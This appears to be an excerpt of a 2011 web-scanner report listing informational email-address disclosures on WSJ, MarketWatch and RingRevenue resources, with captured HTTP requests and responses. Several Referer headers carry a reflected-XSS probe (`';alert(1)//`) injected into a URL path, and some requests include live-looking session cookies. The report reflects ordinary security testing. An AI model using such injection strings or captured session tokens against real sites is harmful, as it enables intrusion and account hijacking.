Cookie: s_vi=[CS]v1|26E73DAF051D3563-4000012900019997[CE]; campaignid=86873; session%5Fdata=%3cSessionData%3e%0d%0a++%3cOrganicSearchtraffic%3e1%3c%2fOrganicSearchtraffic%3e%0d%0a++%3cwt_source_cid%3e86873%3c%2fwt_source_cid%3e%0d%0a++%3cwt_destination_cid%3e86873%3c%2fwt_destination_cid%3e%0d%0a++%3ctempfrlu%3e%3c%2ftempfrlu%3e%0d%0a%3c%2fSessionData%3e; SiteID=1; langid=1; SessionInfo=AffiliateId=0&CampaignId=86873; lBounceURL=http://home.mcafee.com/secure/cart/?offerId=266730&PkgQty=1; lUsrCtxSession=%3cUserContext%3e%3cAffID%3e0%3c%2fAffID%3e%3cAffBuildID%3e0%3c%2fAffBuildID%3e%3c%2fUserContext%3e; Locale=EN-US; HPrst=gu=22a3c062-a3d0-4f46-9ecc-f8de804c3864&loc=EN-US; AffID=0-0; Currency=56; HRntm=vkey=%2fmK8BFW1DIsE11QFf%2bmOuQ%3d%3d&aff=0-0&cur=56&cid=86873&lbu=http%3a%2f%2fhome.mcafee.com%2fsecure%2fcart%2f%3fofferId%3d266730%26PkgQty%3d1&pfl=UjYffYeSjxhItgwf9DZxCQ%3d%3d&ps=ebf977ddd14dbd5fd1eb165277c3f80b5b414d5f550b0217&pple=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&inur=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&isr=iq5nNK%2bISQc78yUmSkAv9A%3d%3d&sbo=iq5nNK%2bISQc78yUmSkAv9A%3d%3d; IscartemptySiteidAffid=no-1-0

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Sun, 16 Jan 2011 05:06:30 GMT
Accept-Ranges: bytes
ETag: "04fb2223bb5cb1:0"
Server: Microsoft-IIS/7.0
X-Powered-By: ASP.NET
MS: SJV9
X-UA-Compatible: IE=8
Date: Sat, 14 May 2011 12:54:52 GMT
Content-Length: 9826

var elem = document.getElementsByTagName('div');

function GetSmartButtonHome(blnSecure, cultureCode) {
var oURL;
var deptNumForSite;
var sourceImg;

if (blnSecure == "True") {
...[SNIP]...
<a href="mailto:sales@instantservice.com">
...[SNIP]...

23.9. http://i3.marketwatch.com/MW5/content/js/s_code.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://i3.marketwatch.com
Path:	/MW5/content/js/s_code.js

Issue detail

The following email address was disclosed in the response:

id@Us.tc

Request

GET /MW5/content/js/s_code.js HTTP/1.1
Host: i3.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16

Response

HTTP/1.1 200 OK
Content-Type: application/x-javascript
Last-Modified: Wed, 13 May 2009 22:05:21 GMT
Accept-Ranges: bytes
ETag: "ff37bce816d4c91:8037"
Server: Microsoft-IIS/6.0
X-Machine: SB-IMAGE1
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Date: Sat, 14 May 2011 10:12:55 GMT
Connection: close
Content-Length: 20620

/* SiteCatalyst code version: H.20.2.
Copyright 1997-2009 Omniture, Inc. More info available at
http://www.omniture.com */
/************************ ADDITIONAL FEATURES ************************

...[SNIP]...
=s.mr($8,(vt#Wt`Zvt)`ks.hav()+q+(qs?qs:s.rq(^5)),0,i"
+"d,ta);qs`l;`Rm('t')`5s.p_r)s.p_r(`I`a`l}^I(qs);^Q`u($0;`m$0`b^1,`G$L1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`j''`5s.pg)`H^x@M=`H^xeo=`H^x`Q`r=`H^x`Q^2`l`5!id@Us.tc^ztc=1;s.flush`T()}`3#6`Ctl`0o,t,n,vo`1;s.@M="
+"$Co`I`Q^2=t;s.`Q`r=n;s.t($0}`5pg){`H^xco`0o){`P^t\"_\",1,$a`3$Co)`Cwd^xgs`0u@t`P^tun,1,$a`3s.t()`Cwd^xdc`0u@t`P^tun,$a`3s.t()}}@8=(`H`M`h`9`4$Bs@H0`Id=
...[SNIP]...

23.10. http://js6.ringrevenue.com/6/integration.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://js6.ringrevenue.com
Path:	/6/integration.js

Issue detail

The following email addresses were disclosed in the response:

bhb@iceburg.net
letssurf@gmail.com

Request

GET /6/integration.js HTTP/1.1
Host: js6.ringrevenue.com
Proxy-Connection: keep-alive
Referer: http://www.midphase.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Type: application/x-javascript
Date: Sat, 14 May 2011 12:51:53 GMT
ETag: "88171f3c-5c7f-4a32284bc6f80"
Last-Modified: Fri, 13 May 2011 06:35:58 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g
Content-Length: 23679
Connection: keep-alive

if ( typeof( RingRevenue ) == "undefined" )
{
var RingRevenue =
{
log : function( message )
{
if ( typeof console != 'undefined' && typeof console.log != 'undefined' && this.debugMod
...[SNIP]...
onent(cookie.substring(name.length+1));break;}}}
return cookieValue;}};
/*
* End Cookie plugin for jQuery
*/
/*
* Begin Cookie Jar plugin for jQuery (minified)
* Copyright (c) 2007 James Dempster (letssurf@gmail.com), http://www.jdempster.com/category/jquery/cookieJar/
*/
(function($){$.cookieJar=function(name,options){if(!$.parseJSON)return false;if(!$.toJSON)return false;if(!$.cookie)return false;return new fu
...[SNIP]...
return self;};var self=this;self.construct(name,options);};};})(jQuery);
/*
* End Cookie Jar plugin for jQuery
*/

/*
* Begin jqModal for jQuery (minified)
* Copyright (c) 2007,2008 Brice Burgess (bhb@iceburg.net), http://dev.iceburg.net/jquery/jqmodal/
*/
(function($){$.fn.jqm=function(o){var p={overlay:50,overlayClass:'jqmOverlay',closeClass:'jqmClose',trigger:'.jqModal',ajax:F,ajaxText:'',target:F,modal:F,
...[SNIP]...

23.11. http://json6.ringrevenue.com/v/javascripts/application_.1271776075.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://json6.ringrevenue.com
Path:	/v/javascripts/application_.1271776075.js

Issue detail

The following email addresses were disclosed in the response:

feedback@ringrevenue.com
user@example.com

Request

GET /v/javascripts/application_.1271776075.js HTTP/1.1
Host: json6.ringrevenue.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://json6.ringrevenue.com/6/map_number7eee0%27%3balert(1)//7515d9488a3?jsoncallback=jsonp1305377517510&_=1305377522381&av_id=5510&url=http%3A%2F%2Fwww.midphase.com%2F&referer=
Cookie: theme=generic; _rr_session_id=f163055218661cc27b695a8178c22dcb

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=315360000
Content-Type: text/javascript
Date: Sun, 15 May 2011 11:53:39 GMT
Expires: Wed, 12 May 2021 11:53:39 GMT
Last-Modified: Fri, 13 May 2011 06:23:18 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g
Vary: Accept-Encoding,User-Agent
Connection: keep-alive
Content-Length: 902014

(function(){var l=this,g,y=l.jQuery,p=l.$,o=l.jQuery=l.$=function(E,F){return new o.fn.init(E,F)},D=/^[^<]*(<(.|\s)+>)[^>]*$|^#([\w-]+)$/,f=/^.[^:#\[\.,]*$/;o.fn=o.prototype={init:function(E,H){E=E||
...[SNIP]...
<a href="mailto:feedback@ringrevenue.com?subject=JavaScript+Error+Report&body=+---+Please+paste+error+text+here+---">feedback@ringrevenue.com');}}});}
function filter_exception(params)
{try
{var filename=params.filename||'';var name=params.name||'';var message=(params.message||'').toString();var user_agent=navigator.userAgent.toLowerCase();
...[SNIP]...
\/([\-\w]+\.)+\w{2,3}(\/[%\-\w]+(\.\w{2,})?)*(([\w\-\.\?\\\/+@&#;`~=%!]*)(\.\w{2,})?)*\/?)/i;return{email:function(e){return b.test(e)},emailText:'This field should be an e-mail address in the format "user@example.com"',emailMask:/[a-z0-9_\.\-@]/i,url:function(e){return a.test(e)},urlText:'This field should be a URL in the format "http://www.example.com"',alpha:function(e){return c.test(e)},alphaText:"This field sh
...[SNIP]...

23.12. http://json6.ringrevenue.com/v/stylesheets/ext/Ext.ux.grid.GridSummary.1226448303.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://json6.ringrevenue.com
Path:	/v/stylesheets/ext/Ext.ux.grid.GridSummary.1226448303.css

Issue detail

The following email address was disclosed in the response:

licensing@extjs.com

Request

GET /v/stylesheets/ext/Ext.ux.grid.GridSummary.1226448303.css HTTP/1.1
Host: json6.ringrevenue.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://json6.ringrevenue.com/6/map_number7eee0%27%3balert(1)//7515d9488a3?jsoncallback=jsonp1305377517510&_=1305377522381&av_id=5510&url=http%3A%2F%2Fwww.midphase.com%2F&referer=
Cookie: theme=generic; _rr_session_id=f163055218661cc27b695a8178c22dcb

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=315360000
Content-Type: text/css
Date: Sun, 15 May 2011 11:53:39 GMT
Expires: Wed, 12 May 2021 11:53:39 GMT
Last-Modified: Fri, 13 May 2011 06:23:47 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g
Vary: Accept-Encoding,User-Agent
Connection: keep-alive
Content-Length: 1039

/* url paths updated by rake assets:version */
/*
* Ext JS Library 2.0
* Copyright(c) 2006-2007, Ext JS, LLC.
* licensing@extjs.com
*
* http://extjs.com/license
*/
/* [OPTIONAL] -- may be used for either Ext.grid.GroupSummary / Ext.ux.grid.GridSummary plugins */
.x-grid3-summary-row{border-left:1px solid #fff;border-right:1px s
...[SNIP]...

23.13. http://json6.ringrevenue.com/v/stylesheets/ext/ext-all.1252041811.css previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://json6.ringrevenue.com
Path:	/v/stylesheets/ext/ext-all.1252041811.css

Issue detail

The following email address was disclosed in the response:

licensing@extjs.com

Request

GET /v/stylesheets/ext/ext-all.1252041811.css HTTP/1.1
Host: json6.ringrevenue.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/css,*/*;q=0.1
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://json6.ringrevenue.com/6/map_number7eee0%27%3balert(1)//7515d9488a3?jsoncallback=jsonp1305377517510&_=1305377522381&av_id=5510&url=http%3A%2F%2Fwww.midphase.com%2F&referer=
Cookie: theme=generic; _rr_session_id=f163055218661cc27b695a8178c22dcb

Response

HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=315360000
Content-Type: text/css
Date: Sun, 15 May 2011 11:53:39 GMT
Expires: Wed, 12 May 2021 11:53:39 GMT
Last-Modified: Fri, 13 May 2011 06:23:48 GMT
Server: Apache/2.2.8 (Ubuntu) mod_ssl/2.2.8 OpenSSL/0.9.8g
Vary: Accept-Encoding,User-Agent
Connection: keep-alive
Content-Length: 136076

/* url paths updated by rake assets:version */
/*!
* Ext JS Library 3.0.1
* Copyright(c) 2006-2009 Ext JS, LLC
* licensing@extjs.com
* http://www.extjs.com/license
*/
html,body,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,p,blockquote,th,td{margin:0;padding:0;}img,body,html{border:0;}address,caption,cite,code,d
...[SNIP]...

23.14. http://kara.allthingsd.com/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://kara.allthingsd.com
Path:	/20110513/dear-yahoo-board-your-investors-are-on-line-2-and-theyre-not-happy/

Issue detail

The following email address was disclosed in the response:

kara@allthingsd.com

Request

Response

23.15. http://mediacdn.disqus.com/1305332303/build/system/disqus.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://mediacdn.disqus.com
Path:	/1305332303/build/system/disqus.js

Issue detail

The following email address was disclosed in the response:

anton@disqus.com

Request

Response

23.16. http://online.barrons.com/article/SB50001424052970203286304576313262992330454.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.barrons.com
Path:	/article/SB50001424052970203286304576313262992330454.html

Issue detail

The following email address was disclosed in the response:

michael.santoli@barrons.com

Request

Response

23.17. http://online.wsj.com/article/SB10001424052748703730804576313682030967852.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576313682030967852.html

Issue detail

The following email address was disclosed in the response:

TBD@wsj.com

Request

Response

23.18. http://online.wsj.com/article/SB10001424052748703730804576317293981683266.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703730804576317293981683266.html

Issue detail

The following email address was disclosed in the response:

HouseOfTheDay@wsj.com

Request

Response

23.19. http://online.wsj.com/article/SB10001424052748703864204576314083707711492--LESS.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748703864204576314083707711492--LESS.html

Issue detail

The following email address was disclosed in the response:

HouseOfTheDay@wsj.com

Request

Response

23.20. http://online.wsj.com/article/SB10001424052748704681904576319301584731990.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/article/SB10001424052748704681904576319301584731990.html

Issue detail

The following email addresses were disclosed in the response:

TBD@wsj.com
laura.saunders@wsj.com

Request

Response

23.21. http://online.wsj.com/public/page/news-career-jobs.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-career-jobs.html

Issue detail

The following email address was disclosed in the response:

TBD@wsj.com

Request

Response

23.22. http://online.wsj.com/public/page/news-real-estate-homes.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://online.wsj.com
Path:	/public/page/news-real-estate-homes.html

Issue detail

The following email address was disclosed in the response:

TBD@wsj.com

Request

Response

23.23. https://order.wsj.com/favicon.ico previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://order.wsj.com
Path:	/favicon.ico

Issue detail

The following email address was disclosed in the response:

onlinejournal@wsj.com

Request

GET /favicon.ico HTTP/1.1
Host: order.wsj.com
Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; promo_code=6BFWA1_OOT; rsi_csl=; rsi_segs=; mbox=check#true#1305367858|session#1305367797515-52119#1305369658; _1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341

Response

HTTP/1.1 404 Not Found
Date: Sat, 14 May 2011 10:10:07 GMT
Server: Apache
Accept-Ranges: bytes
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=50
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 2566

<html>
<head>
<title>WSJ</title>
<link rel="stylesheet" href="/j20type.css" type="text/css">

</head>
<body marginheight
...[SNIP]...
<a href="mailto:onlinejournal@wsj.com" class="fullStory">onlinejournal@wsj.com</a>
...[SNIP]...

23.24. https://order.wsj.com/sub/f3 previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://order.wsj.com
Path:	/sub/f3

Issue detail

The following email address was disclosed in the response:

onlinejournal@wsj.com

Request

Response

23.25. https://order.wsj.com/sub/javascripts/dragdrop.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://order.wsj.com
Path:	/sub/javascripts/dragdrop.js

Issue detail

The following email address was disclosed in the response:

sammi@oriontransfer.co.nz

Request

GET /sub/javascripts/dragdrop.js?1303945474 HTTP/1.1
Host: order.wsj.com
Connection: keep-alive
Referer: https://order.wsj.com/sub/f3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=3745086d-ef84-4e3d-8fb3-761e62d9d99d; wsjregion=na%2cus; s_vnum=1307959748765%26vn%3D1; s_dbfe=1305367748766; DJSESSION=ORCS%3Dna%2Cus%7C%7CBIZO%3Dbiz%3D1053%3B; DJCOOKIE=ORC%3Dna%2Cus%7C%7CweatherUser%3D%7C%7CweatherJson%3D%7B%22city%22%3A%22New%20York%22%2C%22image%22%3A%2233%22%2C%22high%22%3A%5B%2270%22%5D%2C%22low%22%3A%5B%2256%22%5D%2C%22url%22%3A%22http%3A%2F%2Fonline.wsj.com%2Fpublic%2Fpage%2Faccuweather-detailed-forecast.html%3Fname%3DNew%20York%2C%20NY%26location%3D10005%26u%3Dhttp%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0http%253A%2F%2Fwww.accuweather.com%2Fhosted%2Fwsj%2Fwsj.asp%253Flocation%253D10005%2526metric%253D0%22%7D%7C%7CweatherExpire%3DSat%2C%2014%20May%202011%2010%3A29%3A14%20GMT%7C%7CweatherCode%3D10005; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; promo_code=6BFWA1_OOT; rsi_csl=; rsi_segs=; _1pagesub_session_id=3350d918d094bb4ca13e51f2f0319341

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 10:09:54 GMT
Server: Apache
Last-Modified: Wed, 27 Apr 2011 23:04:34 GMT
ETag: "26cec3-7756-76c8c480"
Accept-Ranges: bytes
Content-Length: 30550
Cache-Control: max-age=86400
Expires: Sun, 15 May 2011 10:09:54 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Keep-Alive: timeout=2, max=50
Connection: Keep-Alive
Content-Type: application/x-javascript

// Copyright (c) 2005, 2006 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// (c) 2005, 2006 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if(typeof Effect == 'undefined')
t
...[SNIP]...

23.26. http://rea.wsj.net/javascripts/controls.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rea.wsj.net
Path:	/javascripts/controls.js

Issue detail

The following email address was disclosed in the response:

tdd@tddsworld.com

Request

GET /javascripts/controls.js?1305194122 HTTP/1.1
Host: rea.wsj.net
Proxy-Connection: keep-alive
Referer: http://realestate.wsj.com/for-sale/us/10010?sid=56936
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Thu, 12 May 2011 09:55:22 GMT
ETag: "89a6-4a31130013680"
Accept-Ranges: bytes
ntCoent-Length: 35238
nnCoection: close
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: max-age=31362651
Expires: Fri, 11 May 2012 10:37:57 GMT
Date: Sat, 14 May 2011 10:47:06 GMT
Connection: close
Content-Length: 35238

// Copyright (c) 2005-2008 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// (c) 2005-2008 Ivan Krstic (http://blogs.law.harvard.edu/ivan)
// (c) 2005-2008 Jon Tirsen (
...[SNIP]...
<tdd@tddsworld.com>
...[SNIP]...

23.27. http://rea.wsj.net/javascripts/dj-j_global_slim.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rea.wsj.net
Path:	/javascripts/dj-j_global_slim.js

Issue detail

The following email address was disclosed in the response:

id@Vs.tc

Request

GET /javascripts/dj-j_global_slim.js?1305194122 HTTP/1.1
Host: rea.wsj.net
Proxy-Connection: keep-alive
Referer: http://realestate.wsj.com/for-sale/us/10010?sid=56936
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Thu, 12 May 2011 09:55:22 GMT
ETag: "3659c-4a31130013680"
Accept-Ranges: bytes
Cteonnt-Length: 222620
nnCoection: close
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: max-age=31362708
Expires: Fri, 11 May 2012 10:38:40 GMT
Date: Sat, 14 May 2011 10:46:52 GMT
Connection: close
Content-Length: 222620

if(typeof dj=="undefined"){dj={};}
if(typeof dj.context=="undefined"){dj.context={};}
if(typeof djConfig=="undefined"){this.djConfig={};}
(function(){var ctx=dj.context,djc=djConfig;ctx.core=(ctx.core
...[SNIP]...
$4)#7=s.mr($C,(vt@tt`Zvt)`fs.hav()+q+(qs?qs:s.rq(^5)),0,id,ta);qs`g;`Rm('t')`5s.p_r)s.p_r(`I`a`g}^I(qs);^Q`u($3;`j$3`c^1,`G$O1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`m`g`5s.pg)`H^w@M=`H^weo=`H^w`Q`r=`H^w`Q^2`g`5!id@Vs.tc^ztc=1;s.flush`U()}`4#7`Ctl`0o,t,n,vo`2;s.@M=$Go`I`Q^2=t;s.`Q`r=n;s.t($3}`5pg){`H^wco`0o){`P^s\"_\",1,$8`4$Go)`Cwd^wgs`0u@v`P^sun,1,$8`4s.t()`Cwd^wdc`0u@v`P^sun,$8`4s.t()}}@8=(`H`M`k`9`3'@Os^y0`Id=^A;s
...[SNIP]...

23.28. http://rea.wsj.net/javascripts/dragdrop.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://rea.wsj.net
Path:	/javascripts/dragdrop.js

Issue detail

The following email address was disclosed in the response:

sammi@oriontransfer.co.nz

Request

GET /javascripts/dragdrop.js?1305194122 HTTP/1.1
Host: rea.wsj.net
Proxy-Connection: keep-alive
Referer: http://realestate.wsj.com/for-sale/us/10010?sid=56936
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Thu, 12 May 2011 09:55:22 GMT
ETag: "797f-4a31130013680"
Accept-Ranges: bytes
ntCoent-Length: 31103
nnCoection: close
Content-Type: application/x-javascript
Vary: Accept-Encoding
Cache-Control: max-age=31362675
Expires: Fri, 11 May 2012 10:37:59 GMT
Date: Sat, 14 May 2011 10:46:44 GMT
Connection: close
Content-Length: 31103

// Copyright (c) 2005-2008 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
// (c) 2005-2008 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
//
// script.aculo.us is freely distributable under the terms of an MIT-style license.
// For details, see the script.aculo.us web site: http://script.aculo.us/

if(Object.isUndefined(Effect))
thro
...[SNIP]...

23.29. http://s.wsj.net/djscript/j_global.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://s.wsj.net
Path:	/djscript/j_global.js

Issue detail

The following email address was disclosed in the response:

id@Vs.tc

Request

GET /djscript/j_global.js HTTP/1.1
Host: s.wsj.net
Proxy-Connection: keep-alive
Referer: http://online.wsj.com/static_html_files/WSJThirdParty_Header_Nav_Commerce.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Last-Modified: Thu, 02 Sep 2010 14:13:03 GMT
Vary: Accept-Encoding
Server: Apache/2.0.58 (Unix)
FastDynaPage-ServerInfo: sbkj2kapachep06 - Thu 09/02/10 - 10:13:03 EDT
If-Modified-Since: Thu, 02 Sep 2010 13:36:27 GMT
P3P: CP=CAO DSP COR CURa ADMa DEVi TAIo PSAa PSDa IVDi CONi OTPi OUR OTRi BUS PHY ONL UNI PUR COM NAV INT DEM CNT STA OTC
Content-Type: application/x-javascript
Cache-Control: max-age=644594
Expires: Sat, 21 May 2011 21:29:35 GMT
Date: Sat, 14 May 2011 10:26:21 GMT
Connection: close
Content-Length: 733911

if (typeof dj == "undefined") { dj = {}; }
if (typeof dj.context == "undefined") { dj.context = {}; }
if (typeof djConfig=="undefined") { djConfig={}; }

/**
* NOTE TO DEVELOPER:
*
* This f
...[SNIP]...
=s.mr($C,(vt@tt`Zvt)`fs.hav()+q+(qs?qs:s.rq(^5)),0,id,ta);qs`g;"
+"`Rm('t')`5s.p_r)s.p_r(`I`a`g}^I(qs);^Q`u($3;`j$3`c^1,`G$O1',vb`I@M=^G=s.`Q`r=s.`Q^2=`H`m`g`5s.pg)`H^w@M=`H^weo=`H^w`Q`r=`H^w`Q^2`g`5!id@Vs.tc^ztc=1;s.flush`U()}`4#7`Ctl`0o,t,n,vo`2;s.@M=$Go`I`Q^2=t"
+";s.`Q`r=n;s.t($3}`5pg){`H^wco`0o){`P^s\"_\",1,$8`4$Go)`Cwd^wgs`0u@v`P^sun,1,$8`4s.t()`Cwd^wdc`0u@v`P^sun,$8`4s.t()}}@8=(`H`M`k`9`3'@Os^y0`Id
...[SNIP]...

23.30. https://services.wsj.com/Gryphon/alternateLogin2.dj previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	https://services.wsj.com
Path:	/Gryphon/alternateLogin2.dj

Issue detail

The following email address was disclosed in the response:

wsj.service@dowjones.com

Request

POST /Gryphon/alternateLogin2.dj HTTP/1.1
Host: services.wsj.com
Connection: keep-alive
Referer: https://services.wsj.com/Gryphon/jsp/find_acct.jsp
Cache-Control: max-age=0
Origin: https://services.wsj.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
